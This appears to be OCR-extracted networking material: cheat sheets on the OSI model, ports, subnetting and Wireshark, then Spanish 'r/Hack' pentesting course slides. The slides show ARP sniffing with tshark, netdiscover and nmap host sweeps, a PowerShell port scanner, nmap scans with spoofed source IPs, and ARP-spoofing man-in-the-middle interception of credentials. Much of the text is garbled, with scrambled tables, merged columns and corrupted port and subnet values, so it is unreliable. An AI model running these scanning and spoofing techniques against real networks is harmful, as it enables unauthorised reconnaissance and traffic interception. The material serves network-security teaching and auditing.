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@ S hEr s A D , = | Internetworking Essentials
5 2 e Tan Process/Applicatio layer ] ] () General Troubleshootin N
Apgllcgglon = Identifying and es'tab'hshmg the FTP - TCP file transfer service — port 20-21 @ g -
availability of intended communication partner Telnet - Terminal emulation program — port } Cisco Ping & Response Codes
and whether there are sufficient resources o3 Troubleshooting Steps )
TFTP - UDP file transfer — port 69 S Plheisroon Fl‘°“te’> P'“sgulzz‘;jg-‘
Presentation - Data translation, encryption, SMTP - Send email service — port 25 L mg o X Timed out waiting for reply
code formatting DHCP — Assigns IP addresses to hosts — (Socpback) u Destination unreachable
ports 67 and 68 g el gatcw ay | Ping process interrupted
— = 3. Ping remote device
Session - Setting up, managing and tearing | Dc’;‘rtsss Feseies RS is P ertieses 9 % Unknown packet type
down sessions. Keeps application’s data & & Songestian:expsreticed
separate PE—— & Time to live exceeded v
l ost-to-Host layer z -
( \ (Transport B T O Y TCP - Connection-oriented protocol, provides Txl::;::o?)i)ifg Cisco Trace Command & Responses I
Ea“ transpol:t services - esiablishes Iogicgl reliable cc.mnect.lons (acknowledgments, flow Conicands Router> traceroute 172.15.9.1
3 connections between hosts. Connection- control, windowing) ]
oriented or connectionless data transfer. UDP - Connectionless protocol, low ® ping 127.0.0.1 = Timed out »
5 — \ =1 | | overhead but unreliable -~ fracert H Router received packet but did not forward it
= R s 2 N Network unreachable
= Network - Manages logical addressing L ® ipconfig/all P Protocol unreachable
o and path determination Internet layer \® arp-a U Port unreachable Y,
£ — IP - connectionless protocol, provides . S
= (Data Link - Provides physical ) network addressing and routing Ve P CI >
E | g ||transmission of data, handles error \ ARP - finds MAC addresses from known IPs asScs
= 8 notification, flow control and network RARP - finds IPs from known MAC
S topology. Split into two sub layers (LLC addresses Class Ranges
g \____“\and MAC) Y, | ICMP - provides diagnostics, used by ping Clans AN SR - S Tk node node node
| = = = : N il and traceroute Class B - 128-191 - network.network.node.node
Physical - Specifies electrical, [N Class C - 192-223 - network.network.network.node
% mechanical, procedural and functional \
requirements for activating, maintaining Network Access N
\ / \and deactivating a physical link. v = s Private Address Ranges
\\ = — -/ Class A - 10.0.0.0 - 10.255.255.255
p— ™~ ) Class B - 172.16.0.0 - 172.31.255.255
Cisco 3-Layer Hierarchical Model Half Duplex Ethernet shares a collision Class C - 192.168.0.0 - 192.168.255.255
domain resulting in lower throughput
Core - Backbone, common to all users, needs to be as fast as possible :223ife‘gla%%?;t’:oi—iégﬂqﬂkﬁr:?wheen CIDR Notation (CI I Inter-D in Routing)
and fault tolerant, avoid ACL, VLAN trunking and packet filtering here. two compatible nodes P — -
Distribution - Routing - provides access control policies, filtering, WAN 555.128.0.0 /o 255.255.240.0 /20
access and VLAN trunking Causes of LAN congestion - Broadcast 555.192.0.0 o 255.255.248.0 /21
Access - Switching - User and workgroup access, segmentation storms, too many hosts with a broadcast 255.224.0.0 11 b j22
\_ _/ | domain, multicasting, low bandwidth, 555.240.0.0 12 255.255.254.0 23
e ~ bottlenecks G5 548100 Jia 255.255.255.0 /24
Patch Cable T s - . . 255.252.0.0 na 255.255.255.128 /25
atch Cable Types Collision domain - Switches/bridges 255.254.0.0 ns . /26
Straight-through - Connect PC to hub or switch (router to switch or breakup collision domains, hubs extend 255.255.0.0 ne 2992202090224 127
hub them B Ji 255.255.255.240 /28
ub) . . B SRR 1650 iig 255.255.255.248 /29
Crossover - Connect hub_ to hub/ switch to switch/PC to PC Broadcast domains - Routers and St oht 5540 Jio 255.255.255.252 /30
Rolled - Console connection for PC to router VLANSs breakup broadcast domains
— B & Y & J

@ Copyright 2010 Internetwork Training — Although the authors of have made every effort to ensure the information in this document is correct, the authors do not assume and hereby disclaim any liability to any party for loss or damage caused by errors, omissions or misleading information.



COMMON PORTS

7 Echo
19 Chargen
FTP
o
23 Telnet
25 SMTP
42 WINS Replication
43 WHOIS
49 TACACS
DNS
DHCP/BOOTP
TFTP
Gopher
Finger
HTTP
Kerberos
MS Exchange
POP3
Ident
NNTP (Usenet)
NTP
Microsoft RPC
137-139 NetBIOS
143 IMAP4
61-162 SNMP
177 XDMCP
179 BGP
201 AppleTalk
264 BGMP
318 TSP
381-383 HP Openview
389 LDAP
411-412 Direct Connect

135

Microsoft DS
Kerberos

Retrospect

rexec
rlogin
syslog
LPD/LPR
RIP

RIPNg (IPV6)
uuce

554
546-547

902
989-990
993

995

1025
1026-1029
1080

1080

1194

1214

1241

1311

1337
1433-1434
1512

1589

1701

1723

1725

1741

1755
1812-1813
1863

1985

2000

2002

2049
2082-2083
2100

2222

2302
2483-2484

TCP/UDP Port Numbers

RTSP
DHCPv6

rmonitor

SMTP
FileMaker
Microsoft DCOM

Internet Printing

MSDP (PIM)
LDP (MPLS)
MS Exchange
isCsl

rsync

VMware Server

Microsoft RPC
Windows Messenger
SOCKS Proxy

OpenVPN

Kazaa

Nessus

Dell OpenManage
WASTE

Microsoft SQL
WINS

Cisco VQP

L2TP

MS PPTP

CiscoWorks 2000
MS Media Server
RADIUS

Cisco HSRP
Cisco SCCP
Cisco ACS
NFS

cPanel
Oracle XDB
DirectAdmin

Oracle DB

2967 Symantec AV
3050 Interbase DB
3124 HTTP Proxy
3127
3128 HTTP Proxy
3222 GLBP
3260 iSCSI T:
3306 MySQL
3389 Terminal Server
3689
3690 Subversion
3724
3784-3785 Ventrilo
4333 mSQL
4444
4664 Google Desktop
4672
4899
5000
5001
5001 i
5004-5005
5050
5060
5190
5222-5223
5432 PostgreSQL
5500 VNC Server
5554
5631-5632 pcAnywhere
5800 VNC over HTTP
5900+ VNC Server
6000-6001 X11
6112
6129 DameWare
6257 WinMx
6346-6347 Gnutella
6500
6566 SANE
6588 AnalogX
6665-6669
6679/6697 IR
6699 Napster
6881-6999 BitTorrent

iTunes

n
c
2

6891-6901
6970 Quicktime
7212 GhostSurf

7648-7649
8000
8080

8086-8087
8118
8200 VMware Server
8500 Adobe ColdFusion
8767
8866
9100

9101-9103
9119 MX
9800 WebDAV
9898
9988
9999

10000 Webmin
10000
10113-10116

T
9
n
x
[
~
o
5
o
-

Internet Radio
HTTP Proxy
Kaspersky AV

Privoxy

HP JetDirect
Bacula

Urchin

BackupExec
NetlQ
11371 OpenPGP
12035-12036
12345
13720-13721
14567
15118
19226 Admin
19638
20000
24800 Synergy
25999
27015
27374
28960
31337
33434+

NetBackup

Ensim

Usermin

traceroute
Legend

B chat

B Encrypted

B Gaming

B valicious

[ Peer to Peer

Streaming

IANA port assignments published at http:/www.iana.org/assignments/port-numbers




SECURE

COMMON PORTS i ) INSECURE
PORT

TCP/UDP Port Numbers P o RT

Echo 554 RTSP 2745 6891-6901

Chargen 546-547 DHCPv6 2967 Symantec AV 6970 Quicktime

FTP 560 rmonitor 3050 Interbase DB 7212 Ghostsurf 21 File Transfer Protocol (FTP) sends the 22 Uses encryption to protect the user
s63 [NNTP overssL | 3074 76487649 username and password using credentials and packets of data being

Telnet 587 SMTP 3124 HTTP Proxy 8000 Internet Radio FTP s:,'\::fxr from the client to the SFTP transferred.

SMTP 591 FileMaker 3127 [SSSH B0O8BO HTTP Proxy

WINS Replication 593 Microsoft DCOM 3128 HTTP Proxy 8086-8087 Kaspersky AV

WHOIS 631 Internet Printing 3222 GLBP 8118 Privoxy All information to & from the host on Secure Shell (SSH) on port 22 uses

TACACS LbAPoverssL 3260 iSCSI Target 8200 VMware Server 23 a telnet connection is sent in plaintext 22 encryption to ensure that traffic

SECURE Petween the host and terminal is not

POP3 995 4664 Google Desktop 9988
Ident 1025 Microsoft RPC 4672 9999 Urchin 37 Time Proto;ol, may be in use by 1 2 NTP on port 123 offers better error-
119 NNTP (Usenet) 1026-1029 Windows Messenger 4899 i 10000 Webmin legacy equipment and has mostly 3 handling capabilities, which reduces
123 NTP 1080 SOCKS Proxy 5000 10000 BackupExec TIME sz:vorripx’airc:: Ptr)c\;tc?cscl;r?N[W)'g;t 123 for NTP the likelihood of unexpected errors.
135 Microsoft RPC 1080 5001 i 10113-10116 NetlQ i
137-139 NetBIOS 1194 OpenVPN 5001 11371 OpenPGP
143 IMAP4 1214 5004-5005 12035-12036

161-162 SNMP 1241 Nessus 5050 12345 53 Domain Name Service (DNS), is still 853 However, using DNS over TLS (DoT)
on port 853 protects DNS information

177 XDMCP 1311 Dell OpenManage 5060 13720-13721 NetBackup used widely. b 5 2 .
T T :
179 BGP 1337 5190 14567 DNs DOT from being modified in transit

201 AppleTalk 1433-1434 Microsoft SQL 5222-5223 15118
264 BGMP 1512 WINS 5432 PostgreSQL 19226 AdminSecure Hyper Text Transfer Protocol (HTTP)

318 TSP 1589 Cisco VQP 5500 VNC Server 19638 Ensim 80 is the basis of nearly all web browser 443 :Ial;Zfredus:sgit ;l;gtecs:i?;té%?a ilz
381-383 HP Openview 1701 L2TP 5554 traffic on the internet. Information ’

20000 Userviin ; : transit between the server and the
H l l P sent via HTTP is not encrypted and is HTTPS
389 LDAP 1723 MS PPTP 5631-5632 pcAnywh 24800 S : A w.
EEm ISEY susceptible to sniffing attacks browser.

411-412 1725 5800 VNC over HTTP 25999

443 1741 CiscoWorks 2000 5900+ VNC Server 27015

Microsoft DS 1755 MS Media Server 6000-6001 X11 27374

Kerberos 1812-1813 RADIUS 6112 28960

1863 6129 31337

Retrospect 1985 Cisco HSRP 6257 33434+ traceroute to network sniffing

2000 Cisco SCCP 6346-6347 Legend

rexec 2002 Cisco ACS 6500 .chat Server Message Block (SMB), is used Network File System (NFS). Although

rlogin 2049 NFS 6566 M Encrypted by many versions of Windows for 2049 NFS can wuse encryption, it is

syslog 2082-2083 cPanel 6588 M caming SMB accessing files over the network. N Fs recommended that NFS not be
LPD/LPR 2100 Oracle XDB 6665-6669 . . Files are transmitted unencrypted. allowed through firewalls either.

RIP 2222 DirectAdmin 6679/6697

RIPNg (IPv6) 2302 _ 6699

uuce 2483-2484 Oracle DB 6881-6999

DNS MSDP (PIM) 3306 MySQL 8500 Adobe ColdFusion TELNET & can be intercepted by an attacker
DHCP/BOOTP LDP (MPLS) 3389 Terminal Server 8767 _ SHELL sent in a plaintext format.
TFTP MS Exchange 3689 iTunes 8366 RO
Gopher sesi . 5680 Subversion 9100 HP JetDirect _Simple Mail Transfer Protocol (SMTP_) The secure alternative is to use port
Finger rsync 3724 [SHGGTHWETCE 9103 Bacula 25 is the default for sending email 587 587 for SMTP using Transport Layer
HTTP VM s, 3784-3785 Ventril o110 XENIEN messages. Since it is unencrypted, Security (TLS) which will encrypt the

ware Server il SMTP data contained within the emails SMTP data between the mail client and the
Kerberos 989-990 [FEEVERSSHIN 4333 mSQL 9800 WebDAV could be discovered by network mail server.

[POP3 overssL |

o &l o
IIqu |

Internet Message Access Protocol

The secure alternative is to use port
(IMAP) is a protocol used for 993 3
1 43 retrieving emails. IMAP traffic on port 993 for IMAP, which adds SSL/TLS

security to encrypt the data between
IMIAP 143 is not encrypted and susceptible IMAP [ e s s

> w0

> 9 ¥

3z 3

& m 2

g z

x B
n

[ Peer to Peer

Streaming (LDAP) 2 Tiisadl t5 communicata Lightweight Directory Access Protocol

Lightweight Directory Access Protocol

IANA port assignments published at http://www.iana.org/assignments/port-numbers LDAP LDAPS security to protect the information

lients. Since LDAP is not encryptec
4 while it is in transit

by Jeremy Stretch - t 1S tib t iffinc




Wireshark Cheat Sheet

Frame number from the begining of the packet
capture All the condit

Either all or ane.

Seconds from the first frame
y one of the twa
natch not bo

Source address, commonly an IPv4, IPv6 or

. Not (Negation) Not equal to
Ethernet address

EEstratiGadiess Filtering packets (Display Filters)

Protocol used in the Ethernet frame, IP packet, —~
or TC segment ‘ego Logical AND

Logical OR
Length of the frame in bytes
| Logical XOR frame.le

Filter Types itor < | Not (Negation) frame.len 10

Capture Filter Filter packets during capture

Substring operator frame.len >>

Display filter Hide packets from a capture display or <= Substring operator frame.len <

= = - | Miscellaneous
Wireshark Capturing Modes .
Slice Operator [..] Range of values

Promiscuous mode Sets interface to capture all pac on a nel rk segment to
which it is associated to Setup the wirless interface to capture all Membership Operator  {} - In

Monitor mode traffic it can receive (Unix/Linux only) o Start/Stop Capturing

Capture Filter Syntax

Syntax protocol Direction ho: value Logical operator

Example tep src 192, 1.1 80 and

Display Filter Syntax
Syntax protocol String 1 String 1 Comparison operator Vaiue Logical Operator Expressions

Example http dest Ip 192.168.1.1 and tcp port

Keyboard Shortcuts - main display window
Accelerator Description Accelerator Description

e :i::‘:';‘:‘:’ SODREALE Co'the packa Move to the next packetin the selection history.

e e In the packet detail, opens the selected tree items and all of its
e e

Move to the previous packet, even if the packet list isn't focused. In the packet detail, closes all the tree

Move to the next packet of the conversation (TCP, UDP o IP). IR PRI SAIE FRnps £ She Pt Boch:
“ Move to the previous packet of the conversation (TCP, UDP or IP). m e e
_Protocols Values ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp

In the packet detail, opens all tree items.




Wireshark Cheat Sheet

Frame number from the begining of the packet
capture

Seconds from the first frame
y one of the twa
natch not bo

Source address, commonly an IPv4, IPv6 or Not (Negation) Nt
Ethernet address

Substring operator Filter a specific word or text
EEstratiGadiess Filtering packets (Display Filters)

Protocol used in the Ethernet frame, IP packet,
or TC segment Logical AND

Logical OR
Length of the frame in bytes

Logical XOR frame.les

Filter Types itc | Not (Negation) frame.len 10

Capture Filter Filter packets during capture

Substring operator frame.len >>

Display filter Hide packets from a capture display lea Substring operator frame.len <= 10

: : —— Miscellaneous
Wireshark Capturing Modes .
Slice Operator [..] Range of values

Promiscuous mode Sets interface to capture all pac on a nel rk segment to
which it is associated to Setup the wirless interface to capture all Membership Operator  {} - In

Monitor mode traffic it can receive (Unix/Linux only) CTRLSE Start/Stop Capturing

Capture Filter Syntax

Syntax protocol Direction ho: value Logical operator Expressions

Example tcp src 192 11 80 and tep dst 12.164.30.1

Display Filter Syntax
Syntax protocol String 1 String 1 Comparison operator Vaiue Logical Operator Expressions

Example http dest Ip 192.168.1.1 and tcp port

Keyboard Shortcuts - main display window
Accelerator Description Accelerator Description

e :f"::‘l";‘:;’ SODREALE Co'the packa Move to the next packetin the selection history.
m Move to the next packet, even if the packet list isn't focused. in the packet detail, opens all tree items.

Move to the next packet of the conversation (TCP, UDP o IP). IR PRI SAIE FRnps £ She Pt Boch:
“ Move to the previous packet of the conversation (TCP, UDP or IP). m e e
_Protocols Values ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp

In the packet detail, opens the selected tree item.

In the packet detail, opens the selected tree items and all of its
subtrees.

In the packet detail, closes all the tree




[+] ARP

ARP es un protocolo de la capa 2 y 3 (ya que contiene la direccion MAC e IP). Tanto los paquetes de
peticion de ARP como los de respuesta de ARP pueden ser trafico de difusion (broadcast). Como tales, no
estan disenados para proporcionar ninguna validacion de identificacion en la transaccion.

Aunque la suplantacion de ARP se puede ejecutar en el transcurso de transacciones ARP, creando una
condicion de carrera, el uso mas comun es la distribucion de respuestas ARP no solicitadas, que son
almacenadas por los clientes en sus cachés ARP, generando de esta manera el escenario de
envenenamiento de caché ARP.

No. Time Source Destination Protocol Length Info
4 ©.936316 Giga-Byt e6:6b:5e Broadcast ARP 42 Who has 10.10.2.1? Tell 10.10.2.2
6 0.037060 AsustekC 01:d7:10 Giga-Byt e6:6b:5e ARP 60 10.10.2.1 is at 0c¢:9d:92:01:d7:10
7 ©.063189 Giga-Byt e6:6b:5e Broadcast ARP 42 Who has 10.10.2.1? Tell 10.10.2.2
8 0.063859 AsustekC 01:d7:10 Giga-Byt e6:6b:5e ARP 60 10.10.2.1 is at ©c¢:9d:92:01:d7:10
33 0.368769 Giga-Byt e6:6b:5e Broadcast ARP 42 Who has 10.10.2.2? Tell 0.0.0.0
142 1.368171 Giga-Byt _e6:6b:5e Broadcast ARP 42 Who has 10.10.2.2? Tell 0.0.0.0
294 2.110894 Giga-Byt_e6:6b:5e Broadcast ARP 42 Who has 10.10.2.20? Tell 10.10.2.2
295 2.111115 HewlettP 92:b3:48 Giga-Byt _e6:6b:5e ARP 60 19.10.2.20 is at 10:60:4b:92:b3:48
80 00 20 7A 3F 3E 80 00 20 20 3A AE 08 00 IP, ARP, etc. 00 20 20 3A
Destination MAC Address Source MAC Address EtherType Payload CRC Checksum
MAC Header Data
(14 bytes) (46 - 1500 bytes) (4 bytes)
Ethernet Type Il Frame
(A t0o 1518 hyutac)




r/ Hack
MODULO 0 - NETWORKING

MODULO REDES

kali@kali$ sudo tshark -f "ether proto \arp"” -Tfields -e
arp.src.proto_ipv4 -e arp.src.hw_mac -e arp.dst.proto_ipv4 -e
arp.dst.hw_mac

- https://wiki.wireshark.org/DisplayFilters

| sudo tshark -f "ether proto \arp" -Tfields -e arp.src.proto_ipv4 -e -e -e TR
sudo tshark -f "ether proto \arp" -Tfields -e arp.src.proto_ipv4 -e -e -e * jomoza@notyourdevice:~
[ ' jomoza“notyourdevice| | /dev/pts/1] =
'~]> sudo tshark -f "ether proto \arp" -Tfields -e arp.src.proto_ipv4 -e arp.src. thf---ﬁﬁﬁ'ar

p.dst.proto_ipv4 -e arp.dst.hw_mac

Running as user "root" and group "root". This could be dangerous. i L
Capturing on 'wlol' ...::I_I"_"I_L':.r
192.168.0.46 74:c6:3b:a7:00:4d 192.168.0.39 00:00:00:00:00:00 "'r '-_-'_':'-T:'-.
192.168.0.46 74:¢c6:3b:a7:00:4d 192.168.0.45 00:00:00:00:00:00 !

192.168.0.46 74:¢c6:3b:a7:00:4d 192.168.0.50 00:00:00:00:00:00

_
10D 10 N A N o111 e D e D7 e 10C L0 109 100 N AC o 3 B chier | B~y v o Y o B N Tl'. "


https://wiki.wireshark.org/DisplayFilters

r/ Hack
MODULO 0 - NETWORKING

MODULO REDES
kali@kali$ sudo tshark -f "src port 53" -n -T fields -e dns.qry.name -e dns.a

® - AW mm 2 m memn e ow, =8
™ -—ox '~~~ flameshot gui
flameshot gui . jomoz:
— NI AN S 3 jomozanotyourdevice| |/dev/pts/1
€ C O B htpsi/oveisinthenetblogBis B HERY 7 /© = &% @ @ % O & 2= B » = ~]> sudo tshark -f "src port 53" -n -T fields -e dns.qry.name -e

&

[sudo] password for jomoza:

Home Archives web recon cheat sheet pentestingadlab dealer About Egg'gtpfngsogs‘?hoq?"t and group “"root®. This could be dangerous.
loveisinthe.net 104.21.54.18,172.67.222.129

loveisinthe.net

safebrowsing.googleapis.com 142.250.201.74

www.google.com 142.250.185.4

Tshark uses for pentest o google.con

static.shodan.io 104.18.12.238,104.18.13.23p=pm_
2021-02-13 static.shodan.io -_: _'-:-:-
www.instagram.com 31.13.83.174 'l

static.cdninstagram.com

PENTESTERS geonet.shodan.io 104.18.12.238,104.18. 1J
geonet.shodan.io

I
-
static.cdninstagram.com 31.13.83.52 :l:' "I " .1'

i : 2 ” N internetdb.shodan.io  104.18.12.238, 104 = M= M "2 a8
This post shows a series of examples of the “tshark” command using it for ShternohdbEhodon io " .

diffarant niirnncac tha avamnlac chnwwn halnw ara enacific tn coa intaractinn scontent.cdninstagram.com 31.13.¢

TSHARK CHEET SHEEP USES FOR st J— :I



r Hack
/7

MODULO 0 - NETWORKING

Capture a network trace with builtin tools »

e Windows (netsh)

# start a capture use the netsh command. ﬂ?
netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384

# stop the trace
netsh trace stop

# Event tracing can be also used across a reboots
netsh trace start capture-yes report=disabled persistent=yes tracefile-=c:\trace.etl maxsize-=16384

# To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert fo

etl2pcapng.exe c:\trace.etl c:\trace.pcapng

# Use filters
netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=1

.| »
® Linux (tcpdump)

sudo apt-get install tcpdump
tcpdump -w ©001.pcap -i etheo
tcpdump -A -i ethe

# capture every TCP packet
tcpdump -i etho tcp

# capture everything on port 22
tcpdump -i eth® port 22

https://github.com/swisskyrepo/PayloadsAllTheThings/



https://github.com/swisskyrepo/PayloadsAllTheThings/
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r Hack
d

NETWORK RECON. - ARP :: Netdiscover

[[iomoza@notyourdevice] [/dev/pts/3]
[~]> sudo netdiscover -i wlan0

Currently scanning: 192.168.95.0/16 | Screen View: Unique Hosts 192.168.97.67 28:11:a8:37:15:68 192.168.97.48 ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.49 ff:ff:ff:ff:ff:ff

5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 246 192.168.97.67 28:11:a8:37:15:68 192.168.97.50 ff:ff:ff:ff:ff: ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.51 ff:ff:ff:ff:ff:ff

P At MAC Address Count Len MAC Vendor / Hostname 192.168.97.67 28:11:a8:37:15:68 192.168.97.52 B L PR Loy B i i 8
_____________________________________________________________________________ 192.168.97.67 28:11:a8:37:15:68 192.168.97.53 ff:ff:ff:ff:ff:ff
192.168.0.1 bo:46:fc:76:32:a8 2 84 WitraStar Technology Corp. 192.168.97.67 28511fa8537f15568 192.168.97.54 fffffffffffffffff
192.168.0.43  4c:6e:6e:2f:d9:35 1 42 Comnect Technology CO.,LTD (22008 D oigeet A ab T on e T LR
. : 192.168.97.67 28:11:a8:37:15:68 192.168.97.56 ff:ff:ff:ff:ff:ff

JH2. TG0 SO 1SRl oo ! GRED bl InterEtiunad 192.168.97.67 28:11:a8:37:15:68 192.168.97.57  ff:ff:ff:ff:ff:ff
192.168.0.50  6¢:19:8f:bf:c4:0d L 60 D-Link International 192.168.97.67 28:11:a8:37:15:68 192.168.97.58  ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.59  ff:ff:ff:ff:ff:ff

jomoza“notyourdevice| [/dev/pts/2] [130 192.168.97.67 28:11:a8:37:15:68 192.168.97.60 ff:ff:ff:ff:ff:ff
5 192.168.97.67 28:11:a8:37:15:68 192.168.97.61 T FEsEE B EESEE
jomoza‘notyourdevice| [/dev/pts/2] (130 192.168.97.67 28:11:a8:37:15:68 192.168.97.62  ff:ff:ff:ff:ff:Ff
~]- nmap -sP 172.18.0.1/16 192.168.97.67 28:11:a8:37:15:68 192.168.97.63 ff:ff:ff:ff:ff:ff
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-09 11:19 CEST 192.168.97.67 28:11:a8:37:15:68 192.168.97.64  ff:ff:ff:ff:ff:ff
Nmap scan report for 172.18.0.1 192.168.97.67 28:11:a8:37:15:68 192.168.97.65 ff:ff:ff:ff:ff:ff
Host is up (0.00038s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.66  ff:ff:ff:ff:ff:ff
Nmap scan report for 172.18.0.2 192.168.97.67 28:11:a8:37:15:68 192.168.97.67 | & L R A L
Host is up (0.00037s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.68 | B8 o ) ) L LR AL
Nmap scan report for 172.18.0.3 192.168.97.67 28:11:a8:37:15:68 192.168.97.69 53 700 3 A A g e 3
Host is up (0.00040s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.70 1 8 29 804 720 1 B 1 R B
192.168.97.67 28:11:a8:37:15:68 192.168.97.71 ff:ff:ff:ff:ff: ff

192.168.97.67 28:11:a8:37:15:68 192.168.97.72 B e e A B A

192.168.97.67 28:11:a8:37:15:68 192.168.97.73  ff:ff:ff:ff:ff:ff

192.168.97.67 28:11:a8:37:15:68 192.168.97.74 ff:ff:ff:ff:ff:ff

192.168.0.46 74:c6:3b:a7:00:4d 192.168.0.41 00:00:00:00:00:00



NETWORK RECON. - ARP :: Banner Grabbing:

#use -Pn option if you're getting nothing in scan
$> sudo nmap -sV -p 443 192.168.50.124
#running banner grabbing of port 443

POWERSHELL

$> Test-NetConnection -Port <port> <IP> #powershell utility

$> 1..1024 | % {echo ((New-Object

Net.Sockets.TcpClient).Connect("IP", $ )) "TCP port $_is open"}
2>$null
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INTRODUCTION : PROXY

Un PrOXY es un servidor intermedio que actiia como intermediario entre un cliente y un servidor final.

Su funcion principal es redirigir las solicitudes del cliente al servidor y devolver las respuestas del
servidor al cliente. Los proxies se utilizan con frecuencia para diversos propositos, como mejorar la
seguridad, el rendimiento o el acceso a recursos en linea.

Un tipo de proxy muy comtun es el "proxy SOCKS" (abreviatura de "SOCKetS"), que permite a un cliente
(generalmente un programa o una computadora) establecer una conexion a través de un servidor proxy.
Esto puede usarse para ocultar la direccion IP real del cliente, acceder a contenido bloqueado
geograficamente o para mejorar la seguridad en linea.

- El comando SSH que mencionaste: "ssh -D <PUERTO> <IP>" se utiliza para configurar un proxy
SOCKS utilizando SSH. Aqui esta como funciona:
e <PUERTO> es el puerto en el que se configurara el proxy SOCKS en tu maquina local.
e <1p> es la direccion IP del servidor remoto (en este caso, un VPS) al que te estas conectando
a través de SSH.
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INTRODUCTION : PROXY AS BYPASS

Chain DOCKER-USER (@ references)

num target prot opt source destination

jomoza-s2g-cna sudo iptables -F

jomoza-s2g-cna sudo iptables -D OUTPUT 1

iptables: Index of deletion too big.

jomoza-s2g-cna sudo iptables -A OUTPUT -d diq = -j DROP

= Google Traductor

Hp Texto B Imagenes B Documentos @ sitios web

Detectar idioma inglés espaifiol francés v inglés espafiol francés v

telefonica.es @ X telefonica.es &

i 13/5.000

https://translate.google.co
m/translate?sl=en&tl=es&h
|=es&u=https://digitechfp.c
omd&client=webapp



https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp

rlliack
nmap -sS -T4 -S 192.168.1.79 -e etho 192.168.1.78
Nuestro siguiente escaneo es donde vemos que tiene lugar el IP spoofing. Lo que esta sucediendo aqui es que estamos

enviando paquetes a nuestra maquina de destino y ponemos en el paquete que estamos enviando una IP de origen de una
maquina diferente.

~:zsh — Konsole v A X £ Capturing from wip0s20f3 v A X
Fila._Edit  View  RBookmarks.  Plugins  Settings  Heln File Edit Vie Capture  Analyze Statistics Telephony Wireless Tools Help
jomoza-s2g-cna :: » sudo nmap -T4 -S 192.168.1.105 -e wlp0s20f3 -Pn -sS 192.168.1.
39 Q D —

Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-23 06:56 CEST

Starting Nmap /.80 ( https://nmap.org ) at 2023-10-23 Ub:56 CESI Jime Destination Protocol)Lengt | Infa

NSOCK ERROR [0.4550s] mksock_bind_addr(): Bind to 192.168.1.105:0 failed (I0D #1): C 756 19.216136865 Ao 192.168.1. cP 58 48794 /53 [SYN] Seq=0 Win=1624' Len=o M
annot assign requested address (99) 757 19.216157367 = ot 192.168.1. TCP 58 48794 - 443 [SYN] Seq=0 Win=1024 Len=0 |
758 19.216161351 .168.1. 192.168.1. Tcp 58 48794 . 3389 [SYN] Seq=0 Win=1024 Len=0
759 19.216165269 .168.1. 192.168.1. TCcP 58 48794 - 22 [SYN] Seq=0 Win=1024 Len=0 M
760 19.216168914 .168.1. 192.168.1. Tcp 58 48794 . 143 [SYN] Seq=0 Win=1024 Len=0 )
761 19.216172984 .168.1. 192.168.1. TCcP 58 48794 . 5900 [SYN] Seq=0 Win=1024 Len=0
762 19.216176546 .168.1. 192.168.1. TCcP 58 48794 - 993 [SYN] Seq=0 Win=1024 Len=0 }
- — 763 19.216180950 .168.1. 192.168.1. TCcP 58 48794 — 3306 [SYN] Seq=0 Win=1624 Len=0

3: wlp8s20f3: <BROADCAST,MULTIC 764 19.216184482 .168.1. 192.168.1. TCcP 58 48794 - 1025 [SYN] Seq=0 Win=1024 Len:
AST,UP,LOWER_UP> mtu 1500 qdisc 765 19.216188399 .168.1. 192.168.1. Tcp 58 48794 . 554 [SYN] Seq=0 Win=1024 Len=0 )
noqueue state UP group default 783 20.366444206 .168.1. 192.168.1. Tcp 58 48795 554 [SYN] Seq=0 Win=1024 Len=0 1
qlen 1000 784 20.366466881 .168.1. 192.168.1. TCcP 58 48795 . 1025 [SYN] Seq=0 Win=1024 Len=0

link/ether 70:a6:cc:08:cf:f D 5 z
S e 785 20.366471525 .168.1. 192.168.1. TCcp 58 48795 - 3306 [SYN] Seq=0 Win=1024 Len=0
inet 192.168.1.37/24 brd 19 786 20.366475525 .168.1. 192.168.1. Tcp 58 48795 ~ 993 [SYN] Seq=0 Win=1024 Len=0 1
2.168.1.255 scope alobal dynami | 787 20.366482372 .168.1. 192.168.1. TCcP 58 48795 — 5900 [SYN] Seq=0 Win=1624 Len=0

>-Differentiated Serv. 0 (DSCP: CS@, ECN: Not-ECT)
Total Length: 44
Identif n: Oxeec5 (61125)

: Fragment Offs
— —— Time to Live: 53
Protocol: TC

Header : 326 [validation disabled]

[Header Unverified]
Source Address: 192.168.1.105
Destination Address
2c 09 f3 2d 2b
5 00




WELCOME MALCOM

WUPS - Mod. 2. Men in the Middle
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MITM

Supongamos que el auditor esta realizando una auditoria en una red corporativa y desea evaluar la
vulnerabilidad del trafico entre un usuario (Usuario A) y el servidor de correo electrénico. El auditor identifica la
direccién IP de Usuario A y el servidor de correo electronico y ejecuta una herramienta como Ettercap o
ARPspoof para enviar tramas ARP falsas que asocian su propia direccion MAC con la direccion IP de Usuario A.

Cuando Usuario A intenta comunicarse con el servidor de correo electrénico, el trafico pasa a través del sistema
del auditor. El auditor puede capturar y analizar el trafico para demostrar como un atacante podria interceptar
datos confidenciales, como credenciales de inicio de sesion o contenido de correo electronico.



A HOW MAN-IN-THE-MIDDLE ATTACK WORKS
) Q S % .
oz £ow

MITM = T e
'WEB APPLICATION

SENDER HACKER RECEIEVER

MAN IN THE MIDDLE

